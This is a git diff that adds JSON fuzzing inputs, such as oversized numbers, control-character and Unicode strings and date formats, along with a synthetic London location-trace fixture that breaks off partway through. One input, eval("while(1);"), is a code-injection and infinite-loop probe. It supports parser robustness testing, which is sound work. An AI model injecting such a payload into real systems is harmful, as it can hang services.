+[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null] +1 +-1 +0 +-999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 +999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 +"\x00" +"1" +":test" +"\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\b\t\n\u000b\f\r\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f !\"#$%&'()*,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ" +"\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u0008\u0009\u000a\u000b\u000c\u000d\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u0020\u0021\u0022\u0023\u0024\u0025\u0026\u0027\u0028\u0029\u002a\u002b\u002c\u002d\u002e\u002f\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u003a\u003b\u003c\u003d\u003e\u003f\u0040\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u005b\u005c\u005d\u005e\u005f\u0060\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u007b\u007c\u007d\u007e\u007f\u0080\u0081\u0082\u0083\u0084\u0085\u0086\u0087\u0088\u0089\u008a\u008b\u008c\u008d\u008e\u008f\u0090\u0091\u0092\u0093\u0094\u0095\u0096\u0097\u0098\u0099\u009a\u009b\u009c\u009d\u009e\u009f\u00a0\u00a1\u00a2\u00a3\u00a4\u00a5\u00a6\u00a7\u00a8\u00a9\u00aa\u00ab\u00ac\u00ad\u00ae\u00af\u00b0\u00b1\u00b2\u00b3\u00b4\u00b5\u00b6\u00b7\u00b8\u00b9\u00ba\u00bb\u00bc\u00bd\u00be\u00bf\u00c0\u00c1\u00c2\u00c3\u00c4\u00c5\u00c6\u00c7\u00c8\u00c9\u00ca\u00cb\u00cc\u00cd\u00ce\u00cf\u00d0\u00d1\u00d2\u00d3\u00d4\u00d5\u00d6\u00d7\u00d8\u00d9\u00da\u00db\u00dc\u00dd\u00de\u00df\u00e0\u00e1\u00e2\u00e3\u00e4\u00e5\u00e6\u00e7\u00e8\u00e9\u00ea\u00eb\u00ec\u00ed\u00ee\u00ef\u00f0\u00f1\u00f2\u00f3\u00f4\u00f5\u00f6\u00f7\u00f8\u00f9\u00fa\u00fb\u00fc\u00fd\u00fe\u00ff" +"\u0100\u0101\u0102\u0103\u0104\u0105\u0106\u0107\u0108\u0109\u010a\u010b\u010c\u010d\u010e\u010f\u0110\u0111\u0112\u0113\u0114\u0115\u0116\u0117\u0118\u0119\u011a\u011b\u011c\u011d\u011e\u011f\u0120\u0121\u0122\u0123\u0124\u0125\u0126\u0127\u0128\u0129\u012a\u012b\u012c\u012d\u012e\u012f\u0130\u0131\u0132\u0133\u0134\u0135\u0136\u0137\u0138\u0139\u013a\u013b\u013c\u013d\u013e\u013f\u0140\u0141\u0142\u0143\u0144\u0145\u0146\u0147\u0148\u0149\u014a\u014b\u014c\u014d\u014e\u014f\u0150\u0151\u0152\u0153\u0154\u0155\u0156\u0157\u0158\u0159\u015a\u015b\u015c\u015d\u015e\u015f\u0160\u0161\u0162\u0163\u0164\u0165\u0166\u0167\u0168\u0169\u016a\u016b\u016c\u016d\u016e\u016f\u0170\u0171\u0172\u0173\u0174\u0175\u0176\u0177\u0178\u0179\u017a\u017b\u017c\u017d\u017e\u017f\u0180\u0181\u0182\u0183\u0184\u0185\u0186\u0187\u0188\u0189\u018a\u018b\u018c\u018d\u018e\u018f\u0190\u0191\u0192\u0193\u0194\u0195\u0196\u0197\u0198\u0199\u019a\u019b\u019c\u019d\u019e\u019f\u01a0\u01a1\u01a2\u01a3\u01a4\u01a5\u01a6\u01a7\u01a8\u01a9\u01aa\u01ab\u01ac\u01ad\u01ae\u01af\u01b0\u01b1\u01b2\u01b3\u01b4\u01b5\u01b6\u01b7\u01b8\u01b9\u01ba\u01bb\u01bc\u01bd\u01be\u01bf\u01c0\u01c1\u01c2\u01c3\u01c4\u01c5\u01c6\u01c7\u01c8\u01c9\u01ca\u01cb\u01cc\u01cd\u01ce\u01cf\u01d0\u01d1\u01d2\u01d3\u01d4\u01d5\u01d6\u01d7\u01d8\u01d9\u01da\u01db\u01dc\u01dd\u01de\u01df\u01e0\u01e1\u01e2\u01e3\u01e4\u01e5\u01e6\u01e7\u01e8\u01e9\u01ea\u01eb\u01ec\u01ed\u01ee\u01ef\u01f0\u01f1\u01f2\u01f3\u01f4\u01f5\u01f6\u01f7\u01f8\u01f9\u01fa\u01fb\u01fc\u01fd\u01fe\u01ff\u0200\u0201\u0202\u0203\u0204\u0205\u0206\u0207\u0208\u0209\u020a\u020b\u020c\u020d\u020e\u020f\u0210\u0211\u0212\u0213\u0214\u0215\u0216\u0217\u0218\u0219\u021a\u021b\u021c\u021d\u021e\u021f\u0220\u0221\u0222\u0223\u0224\u0225\u0226\u0227\u0228\u0229\u022a\u022b\u022c\u022d\u022e\u022f\u0230\u0231\u0232\u0233\u0234\u0235\u0236\u0237\u0238\u0239\u023a\u023b\u023c\u023d\u023e\u023f\u0240\u0241\u0242\u0243\u0244\u0245\u0246\u0247\u0248\u0249\u024a\u024b\u024c\u024d\u024e\u024f\u0250\u0251\u0252\u0253\u0254\u0255\u0256\u0257\u0258\u0259\u025a\u025b\u025c\u025d\u025e\u025f\u0260\u0261\u0262\u0263\u0264\u0265\u0266\u0267\u0268\u0269\u026a\u026b\u026c\u026d\u026e\u026f\u0270\u0271\u0272\u0273\u0274\u0275\u0276\u0277\u0278\u0279\u027a\u027b\u027c\u027d\u027e\u027f\u0280\u0281\u0282\u0283\u0284\u0285\u0286\u0287\u0288\u0289\u028a\u028b\u028c\u028d\u028e\u028f\u0290\u0291\u0292\u0293\u0294\u0295\u0296\u0297\u0298\u0299\u029a\u029b\u029c\u029d\u029e\u029f\u02a0\u02a1\u02a2\u02a3\u02a4\u02a5\u02a6\u02a7\u02a8\u02a9\u02aa\u02ab\u02ac\u02ad\u02ae\u02af\u02b0\u02b1\u02b2\u02b3\u02b4\u02b5\u02b6\u02b7\u02b8\u02b9\u02ba\u02bb\u02bc\u02bd\u02be\u02bf\u02c0\u02c1\u02c2\u02c3\u02c4\u02c5\u02c6\u02c7\u02c8\u02c9\u02ca\u02cb\u02cc\u02cd\u02ce\u02cf\u02d0\u02d1\u02d2\u02d3\u02d4\u02d5\u02d6\u02d7\u02d8\u02d9\u02da\u02db\u02dc\u02dd\u02de\u02df\u02e0\u02e1\u02e2\u02e3\u02e4\u02e5\u02e6\u02e7\u02e8\u02e9\u02ea\u02eb\u02ec\u02ed\u02ee\u02ef\u02f0\u02f1\u02f2\u02f3\u02f4\u02f5\u02f6\u02f7\u02f8\u02f9\u02fa\u02fb\u02fc\u02fd\u02fe\u02ff" +"\"\\/Date(1335205592410)\\/\"" +"\"\\/Date(-1)\\/\"" +"\"\\/Date(1335205592410-0500)\\/\"" +"2012-04-23T18:25:43.511Z" +"2012-04-21T18:25:43-05:00" +"Date(1335205592410)" +"new Date(1335205592410)" +eval("while(1);") +[,,,,] +null diff --git a/dynamic_testing/JSONFuzzing/privkit31A-synthetic-REDACTED.json b/dynamic_testing/JSONFuzzing/privkit31A-synthetic-REDACTED.json new file mode 100644 index 0000000..8b4d2a1 --- /dev/null +++ b/dynamic_testing/JSONFuzzing/privkit31A-synthetic-REDACTED.json @@ -0,0 +1 @@ +[{"time":1583069740422,"longitude":-0.11477509793272855,"latitude":51.53839304439309},{"time":1583069745916,"longitude":-0.10753902581515137,"latitude":51.55987524514395},{"time":1583069765568,"longitude":-0.06407687379643874,"latitude":51.53626227398831},{"time":1583069873127,"longitude":-0.10383699531844902,"latitude":51.5687569927817},{"time":1583070083733,"longitude":-0.09565287120047716,"latitude":51.56663238135933},{"time":1583070140324,"longitude":-0.13367363946595986,"latitude":51.53989797636888},{"time":1583070243827,"longitude":-0.05729357699158614,"latitude":51.53321925729781},{"time":1583070298326,"longitude":-0.054365847106010994,"latitude":51.550572004199395},{"time":1583070431693,"longitude":-0.12014169804782877,"latitude":51.54859663929235},{"time":1583070504200,"longitude":-0.14008234695511182,"latitude":51.56884437237772},{"time":1583070551101,"longitude":-0.06650520642180595,"latitude":51.5633775839411},{"time":1583070566581,"longitude":-0.0642635679072269,"latitude":51.53035424803337},{"time":1583070668254,"longitude":-0.06912748438476754,"latitude":51.55781924725559},{"time":1583070748429,"longitude":-0.13702934205658884,"latitude":51.55911487302811},{"time":1583070933829,"longitude":-0.07021239180000852,"latitude":51.56045606892337},{"time":1583071100820,"longitude":-0.06819283374443962,"latitude":51.54474285756419},{"time":1583071185552,"longitude":-0.07847216330711844,"latitude":51.563144097752506},{"time":1583071277572,"longitude":-0.07116102383400719,"latitude":51.562274670604786},{"time":1583071402591,"longitude":-0.07148578695146103,"latitude":51.560405376370234},{"time":1583071409239,"longitude":-0.059750746015559145,"latitude":51.571496060120474},{"time":1583071448576,"longitude":-0.08330616933560393,"latitude":51.5729063144721},{"time":1583071514357,"longitude":-0.0933870302588096,"latitude":51.554567517182235},{"time":1583071545039,"longitude":-0.13308453738512754,"latitude":51.57324247522932},{"time":1583071627384,"longitude":-0.07663808127858765,"latitude":51.56107671421773},{"time":1583071681851,"longitude":-0.08825273628976937,"latitude":51.560760354435715},{"time":1583071690774,"longitude":-0.08602398263956647,"latitude":51.55960647071623},{"time":1583071720903,"longitude":-0.05144961857794961,"latitude":51.56668611325407},{"time":1583071821894,"longitude":-0.08376903210594362,"latitude":51.56220044549129},{"time":1583071850377,"longitude":-0.06959564227871415,"latitude":51.57538213194397},{"time":1583071984492,"longitude":-0.09439012944414212,"latitude":51.57700649824298},{"time":1583072058691,"longitude":-0.06699879506343509,"latitude":51.56094683706297},{"time":1583072079980,"longitude":-0.12915990778732428,"latitude":51.527301591915716},{"time":1583072107269,"longitude":-0.09552581736070086,"latitude":51.5752062302673},{"time":1583072132431,"longitude":-0.07899300353626773,"latitude":51.560057464533834},{"time":1583072171552,"longitude":-0.08916346555920342,"latitude":51.56420535529982},{"time":1583072207710,"longitude":-0.06486451671489235,"latitude":51.56257043142698},{"time":1583072243220,"longitude":-0.09078446035246059,"latitude":51.5581467187005},{"time":1583072378279,"longitude":-0.09040066327662134,"latitude":51.55820451406028},{"time":1583072549701,"longitude":-0.09119993426566578,"latitude":51.55770670712271},{"time":1583072553193,"longitude":-0.069958211153591,"latitude":51.56372545418852},{"time":1583072623534,"longitude":-0.08989618894496833,"latitude":51.55759955560521},{"time":1583072751873,"longitude":-0.09146155176641384,"latitude":51.557230427760366},{"time":1583072821934,"longitude":-0.09063839518765165,"latitude":51.55747359697412},{"time":1583072845133,"longitude":-0.08565362085777739,"latitude":51.56312757781278},{"time":1583072871852,"longitude":-0.08966076993339671,"latitude":51.558179570663945},{"time":1583072931437,"longitude":-0.08830707518271895,"latitude":51.54080600962764},{"time":1583072945583,"longitude":-0.09093548705700755,"latitude":51.55814470339103},{"time":1583072964422,"longitude":-0.07396597077074346,"latitude":51.559504123363574},{"time":1583072966161,"longitude":-0.08099733643632215,"latitude":51.56180650934007},{"time":1583072974042,"longitude":-0.09006228626575223,"latitude":51.55798045797117},{"time":1583072976117,"longitude":-0.10584946982450716,"latitude":51.56635108627603},{"time":1583073018038,"longitude":-0.12061561139372709,"latitude":51.55993738167366},{"time":1583073029571,"longitude":-0.09035342870077678,"latitude":51.55822391189086},{"time":1583073033065,"longitude":-0.0916482746497675,"latitude":51.55812073962845},{"time":1583073038095,"longitude":-0.08909759773741424,"latitude":51.55793295043102},{"time":1583073083243,"longitude":-0.08590395218289634,"latitude":51.56291133856953},{"time":1583073093701,"longitude":-0.1003080109486854,"latitude":51.568781886795456},{"time":1583073120280,"longitude":-0.10592893779685718,"latitude":51.565728025212536},{"time":1583073322183,"longitude":-0.08567966381694093,"latitude":51.55912225868489},{"time":1583073326040,"longitude":-0.07513320465983626,"latitude":51.56731024269553},{"time":1583073354484,"longitude":-0.09214573414348781,"latitude":51.55751948945115},{"time":1583073363472,"longitude":-0.11259318858218473,"latitude":51.556715398728045},{"time":1583073381300,"longitude":-0.10939770694697235,"latitude":51.567407246095705},{"time":1583073542550,"longitude":-0.11385557317097392,"latitude":51.53203424906636},{"time":1583073655498,"longitude":-0.09195167293132163,"latitude":51.55780129829093},{"time":1583073663084,"longitude":-0.09009867858047324,"latitude":51.558025129920054},{"time":1583073978001,"longitude":-0.08940671206592715,"latitude":51.55725776704828},{"time":1583074058511,"longitude":-0.07101154700956103,"latitude":51.56764758866075},{"time":1583074090865,"longitude":-0.10352358998664082,"latitude":51.538013735195335},{"time":1583074099310,"longitude":-0.09202805353498505,"latitude":51.55807355284052},{"time":1583074138320,"longitude":-0.08782679878685602,"latitude":51.54343249695897},{"time":1583074148434,"longitude":-0.11477853756684658,"latitude":51.55248606558887},{"time":1583074176846,"longitude":-0.08962422344259445,"latitude":51.55817338626205},{"time":1583074181098,"longitude":-0.08915592960292869,"latitude":51.55772072306281},{"time":1583074642997,"longitude":-0.08712838600932442,"latitude":51.55233583810188},{"time":1583074869921,"longitude":-0.07820281763658685,"latitude":51.5567938214556},{"time":1583074885411,"longitude":-0.11799610874950173,"latitude":51.56870924493846},{"time":1583074939844,"longitude":-0.11636415828710495,"latitude":51.567343937724324},{"time":1583075067416,"longitude":-0.08015928043450618,"latitude":51.541225633060456},{"time":1583146469599,"longitude":-0.11150366452832883,"latitude":51.54737040229853},{"time":1583146671872,"longitude":-0.11128382309411183,"latitude":51.549566421754704},{"time":1583147204321,"longitude":-0.1082449037111865,"latitude":51.54592499201378},{"time":1583147532818,"longitude":-0.12692769316761343,"latitude":51.545431523382284},{"time":1583148126476,"longitude":-0.12325598885537153,"latitude":51.54892156218412},{"time":1583148134750,"longitude":-0.10400975020084872,"latitude":51.546853254879856},{"time":1583148227524,"longitude":-0.1163288927660962,"latitude":51.54433527013269},{"time":1583148299674,"longitude":-0.12567046686309238,"latitude":51.5455560698118},{"time":1583148333664,"longitude":-0.11305407256283932,"latitude":51.54682418430913},{"time":1583148436539,"longitude":-0.11454370004629034,"latitude":51.54993367981684},{"time":1583148484795,"longitude":-0.12014171060492272,"latitude":51.54693938226759},{"time":1583148919648,"longitude":-0.1048068933670612,"latitude":51.5486175230549},{"time":1583148950181,"longitude":-0.11135091914399756,"latitude":51.54851651140914},{"time":1583148951316,"longitude":-0.11543891789806654,"latitude":51.54462595536105},{"time":1583148985371,"longitude":-0.11071522973465965,"latitude":51.54936069047563},{"time":1583149086507,"longitude":-0.11170394544149642,"latitude":51.55009008362864},{"time":1583217914744,"longitude":-0.11155056052161347,"latitude":51.55040985835276},{"time":1583218114642,"longitude":-0.11402158419256476,"latitude":51.539865043541894},{"time":1583218327771,"longitude":-0.11479392609505128,"latitude":51.54400983653118},{"time":1583218374536,"longitude":-0.1096910755215907,"latitude":51.545201214601676},{"time":1583218614832,"longitude":-0.11041130524977376,"latitude":51.54412742893037},{"time":1583218849365,"longitude":-0.11214146332830162,"latitude":51.54766462286543},{"time":1583219020611,"longitude":-0.10212227893453245,"latitude":51.561900934437695},{"time":1583219093376,"longitude":-0.1096300065355333,"latitude":51.53989925343852},{"time":1583219299289,"longitude":-0.11382134136360435,"latitude":51.54702217364837},{"time":1583219339816,"longitude":-0.11398572138770492,"latitude":51.54759017667477},{"time":1583219393690,"longitude":-0.11216301970829357,"latitude":51.5395998859284},{"time":1583219555921,"longitude":-0.10825837863203984,"latitude":51.514268501174875},{"time":1583219687827,"longitude":-0.11030687188538406,"latitude":51.54573083220662},{"time":1583219698002,"longitude":-0.12005197547948973,"latitude":51.48761984258444},{"time":1583219730683,"longitude":-0.11167607060614572,"latitude":51.54444186945299},{"time":1583219750765,"longitude":-0.1008138537474545,"latitude":51.51542046025759},{"time":1583219964013,"longitude":-0.08506026860745743,"latitude":51.50375932688458},{"time":1583219995507,"longitude":-0.07583675159291593,"latitude":51.50132055029501},{"time":1583220017706,"longitude":-0.1016187499887624,"latitude":51.55021993879997},{"time":1583220049896,"longitude":-0.11272744249869297,"latitude":51.54356237448071},{"time":1583220059517,"longitude":-0.11213353284184462,"latitude":51.54780070348571},{"time":1583220093446,"longitude":-0.08596447224010095,"latitude":51.49633964814061},{"time":1583220136220,"longitude":-0.10031046924149106,"latitude":51.50041526992826},{"time":1583220164182,"longitude":-0.07724552580182041,"latitude":51.49659317744453},{"time":1583220238066,"longitude":-0.09751532370371327,"latitude":51.50297040193893},{"time":1583220266371,"longitude":-0.10917136687699144,"latitude":51.54142864470805},{"time":1583220305784,"longitude":-0.10308739367910255,"latitude":51.497142592067654},{"time":1583220319631,"longitude":-0.1129401289482919,"latitude":51.54441541428926},{"time":1583220358023,"longitude":-0.11445318053493429,"latitude":51.54938986542269},{"time":1583220368706,"longitude":-0.10183099877218248,"latitude":51.56148783938236},{"time":1583220402114,"longitude":-0.07297470018199204,"latitude":51.4984839064208},{"time":1583220439057,"longitude":-0.11948356649869335,"latitude":51.51013719908208},{"time":1583220444999,"longitude":-0.1088904039163,"latitude":51.50470337912517},{"time":1583220461632,"longitude":-0.10123936303617814,"latitude":51.50298812520056},{"time":1583220543839,"longitude":-0.10946643947518679,"latitude":51.5423645725018},{"time":1583220555627,"longitude":-0.09383810406938577,"latitude":51.49805872480896},{"time":1583220575809,"longitude":-0.10256873856959427,"latitude":51.52867774677232},{"time":1583220578074,"longitude":-0.09140414262105434,"latitude":51.49786056656079},{"time":1583220607327,"longitude":-0.0852915962485924,"latitude":51.504372683035164},{"time":1583220619069,"longitude":-0.08657172532318592,"latitude":51.50537729507463},{"time":1583220688646,"longitude":-0.08423137089795188,"latitude":51.50484070976155},{"time":1583220781483,"longitude":-0.096050801400376,"latitude":51.49738744941667},{"time":1583220886948,"longitude":-0.11992407711949622,"latitude":51.47932219329939},{"time":1583220922695,"longitude":-0.12263686857662376,"latitude":51.51395746101773},{"time":1583220929714,"longitude":-0.07845114028810495,"latitude":51.50051228991012},{"time":1583220934992,"longitude":-0.07859486928689095,"latitude":51.49748433531669},{"time":1583220952561,"longitude":-0.08000422216688628,"latitude":51.501944976754004},{"time":1583220975019,"longitude":-0.10648300146954373,"latitude":51.48258672125944},{"time":1583220982555,"longitude":-0.105619757373046,"latitude":51.535340595484016},{"time":1583221032190,"longitude":-0.10362390689702024,"latitude":51.515547688146754},{"time":1583221089179,"longitude":-0.09341369111215196,"latitude":51.513500305313535},{"time":1583221162459,"longitude":-0.09749566982465505,"latitude":51.53601761543639},{"time":1583221258248,"longitude":-0.10424724821135375,"latitude":51.54018771564362},{"time":1583221275832,"longitude":-0.09972351951661614,"latitude":51.47782103757433},{"time":1583221283531,"longitude":-0.10990941389473087,"latitude":51.557175935218936},{"time":1583221307117,"longitude":-0.1129072657780602,"latitude":51.49314526331773},{"time":1583221360291,"longitude":-0.09822186220546314,"latitude":51.526871943583025},{"time":1583221435632,"longitude":-0.11027284001307741,"latitude":51.47719635456964},{"time":1583221479000,"longitude":-0.0818987798991348,"latitude":51.49800931920583},{"time":1583221602762,"longitude":-0.08203966416874917,"latitude":51.49814611907986},{"time":1583221627103,"longitude":-0.09073941827429059,"latitude":51.500945645571505},{"time":1583222388788,"longitude":-0.07252119553490666,"latitude":51.49731097622524},{"time":1583222432624,"longitude":-0.07588458950694191,"latitude":51.50527830093637},{"time":1583222438700,"longitude":-0.09825810575207834,"latitude":51.503859105551086},{"time":1583222538689,"longitude":-0.08136676181762295,"latitude":51.499424276588535},{"time":1583222542165,"longitude":-0.07240932132424456,"latitude":51.50332886177483},{"time":1583231155211,"longitude":-0.08472566268117736,"latitude":51.502434053549976},{"time":1583231265075,"longitude":-0.08604415008842217,"latitude":51.49922552903655},{"time":1583231271615,"longitude":-0.0853659505146067,"latitude":51.502581619088744},{"time":1583231327233,"longitude":-0.08579076062963692,"latitude":51.498729225348704},{"time":1583231634197,"longitude":-0.08460691780971727,"latitude":51.50192832604208},{"time":1583231725365,"longitude":-0.08462337124546,"latitude":51.502402585712304},{"time":1583231860006,"longitude":-0.08607716139495067,"latitude":51.502668992857345},{"time":1583231994202,"longitude":-0.0850339048246041,"latitude":51.50105604933445},{"time":1583232105519,"longitude":-0.08578102924286847,"latitude":51.50237966390787},{"time":1583232462737,"longitude":-0.08502722565662864,"latitude":51.498993778883694},{"time":1583232567336,"longitude":-0.08436500792482271,"latitude":51.498335517326346},{"time":1583232943219,"longitude":-0.08617749999142728,"latitude":51.50190820880178},{"time":1583233214606,"longitude":-0.0848856839392572,"latitude":51.50120514057798},{"time":1583233336555,"longitude":-0.08559491586565157,"latitude":51.49834212723221},{"time":1583233355627,"longitude":-0.085228